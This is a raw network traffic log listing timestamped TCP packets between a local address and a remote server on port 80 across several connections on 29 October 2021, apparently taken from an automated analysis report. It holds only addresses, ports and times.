Oct 29, 2021 20:10:45.726434946 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.726448059 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726459980 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.726468086 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726488113 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726504087 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.726507902 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726526022 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.726530075 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726552963 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726566076 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.726576090 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726598024 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726614952 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.726619959 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726643085 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726658106 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.726663113 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726681948 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726700068 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.726702929 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726722956 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726743937 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726759911 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.726764917 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726787090 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726790905 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.726805925 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726819992 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.726828098 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726849079 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726871014 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726871014 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.726893902 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726912975 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.726917028 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726939917 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726962090 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726963997 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.726983070 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.727000952 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.727001905 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.727021933 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.727040052 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.727061987 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.727066040 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.727083921 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.727098942 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.727104902 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.727118015 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.727125883 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.727148056 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.727164984 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.727169037 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.727191925 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.727214098 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.727227926 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.727236986 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.727258921 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.727262020 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.727293968 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.727943897 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.780455112 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:48.221288919 CEST	49812	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.274550915 CEST	80	49812	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:48.275096893 CEST	49812	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.275233984 CEST	49812	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.275243044 CEST	49812	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.358205080 CEST	80	49812	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:48.358371019 CEST	49812	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.358510971 CEST	49812	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.411598921 CEST	80	49812	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:48.439696074 CEST	49813	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.492290020 CEST	80	49813	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:48.492383003 CEST	49813	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.492503881 CEST	49813	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.492526054 CEST	49813	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.570226908 CEST	80	49813	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:48.570707083 CEST	49813	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.571468115 CEST	49813	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.602334023 CEST	49814	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.623966932 CEST	80	49813	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:48.655626059 CEST	80	49814	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:48.655777931 CEST	49814	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.655894041 CEST	49814	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.655904055 CEST	49814	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.736651897 CEST	80	49814	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:48.736891985 CEST	49814	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.739054918 CEST	49814	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.764712095 CEST	49816	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.792320013 CEST	80	49814	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:48.818124056 CEST	80	49816	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:48.818627119 CEST	49816	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.818876982 CEST	49816	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.818886042 CEST	49816	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.902971029 CEST	80	49816	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:48.903894901 CEST	49816	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.904267073 CEST	49816	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.933914900 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.957669973 CEST	80	49816	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:48.987421989 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:48.989475012 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.989521980 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:48.989556074 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.069186926 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.069252014 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.069291115 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.069334984 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.069365978 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.069408894 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.069444895 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.069473028 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.069514036 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.069546938 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.069574118 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.069612980 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.069653034 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.069670916 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.069710016 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.123291016 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.123349905 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.123390913 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.123430967 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.123469114 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.123506069 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.123529911 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.123565912 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.123604059 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.123626947 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.123660088 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.123699903 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.123735905 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.123754025 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.123792887 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.123809099 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.123850107 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.123888969 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.123924017 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.123945951 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.123986006 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.124027014 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.124047041 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.124083042 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.124104977 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.124145985 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.124186993 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.124224901 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.124260902 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.124514103 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.177752972 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.177820921 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.177870989 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.177896976 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.177947044 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.177985907 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.178014040 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.178045034 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.178073883 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.178117037 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.178154945 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.178191900 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.178221941 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.178247929 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.178286076 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.178304911 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.178344011 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.178388119 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.178399086 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.178437948 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.178455114 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.178493977 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.178529978 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.178551912 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.178586006 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.178623915 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.178666115 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.178677082 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.178715944 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.178752899 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.178770065 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.178798914 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.178828001 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.178865910 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.178905964 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.178939104 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.178961039 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.178997993 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.179037094 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.179069042 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.179090023 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.179115057 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.179157019 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.179195881 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.179235935 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.179255962 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.179295063 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.179322958 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.179353952 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.179393053 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.179429054 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.179444075 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.179478884 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.179501057 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.233207941 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.233241081 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.233257055 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.233274937 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.233305931 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.233321905 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.233340025 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.233355045 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.233376980 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.233393908 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.233402967 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.233418941 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.233436108 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.233455896 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.233479977 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.233505011 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.233521938 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.233551025 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.233584881 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.233597040 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.233613968 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.233640909 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.233943939 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.233963013 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.233980894 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.233999014 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.234013081 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.234044075 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.234100103 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.234118938 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.234159946 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.234178066 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.234217882 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.234257936 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.234271049 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.234299898 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.234317064 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.234343052 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.234369993 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.234374046 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.234405041 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.234435081 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.234476089 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.287004948 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287038088 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287053108 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287070036 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287087917 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.287105083 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287117004 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.287128925 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287144899 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287159920 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287168026 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.287183046 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287199020 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287209988 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.287221909 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287236929 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287245035 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.287260056 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287266970 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.287281990 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287297964 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.287306070 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287322044 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287374973 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.287401915 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287416935 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287437916 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287446976 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.287460089 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287477016 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.287594080 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287611008 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287652016 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.287682056 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287697077 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:49.287739992 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.288280010 CEST	49817	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:49.341804028 CEST	80	49817	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:50.759361029 CEST	49818	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:50.811322927 CEST	80	49818	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:50.812582016 CEST	49818	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:50.812760115 CEST	49818	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:50.812769890 CEST	49818	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:50.890203953 CEST	80	49818	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:50.890330076 CEST	49818	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:50.898725033 CEST	49818	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:50.931679964 CEST	49819	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:50.950874090 CEST	80	49818	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:50.983825922 CEST	80	49819	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:50.983928919 CEST	49819	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:50.984064102 CEST	49819	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:50.986298084 CEST	49819	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.036113977 CEST	80	49819	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.038484097 CEST	80	49819	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.067217112 CEST	80	49819	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.067317009 CEST	49819	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.068269014 CEST	49819	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.100135088 CEST	49820	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.120357990 CEST	80	49819	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.151575089 CEST	80	49820	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.152987003 CEST	49820	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.153032064 CEST	49820	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.153038025 CEST	49820	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.230870008 CEST	80	49820	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.231051922 CEST	49820	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.234849930 CEST	49820	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.262443066 CEST	49821	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.286325932 CEST	80	49820	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.315275908 CEST	80	49821	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.316400051 CEST	49821	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.316617012 CEST	49821	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.316679955 CEST	49821	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.397310972 CEST	80	49821	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.398085117 CEST	49821	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.406773090 CEST	49821	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.441900015 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.459815025 CEST	80	49821	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.493643045 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.494678020 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.494786024 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.494800091 CEST	49822	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:51.546375990 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.574101925 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.574136019 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.574155092 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.574170113 CEST	80	49822	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:51.574186087 CEST	80	49822	185.98.87.159	192.168.2.5
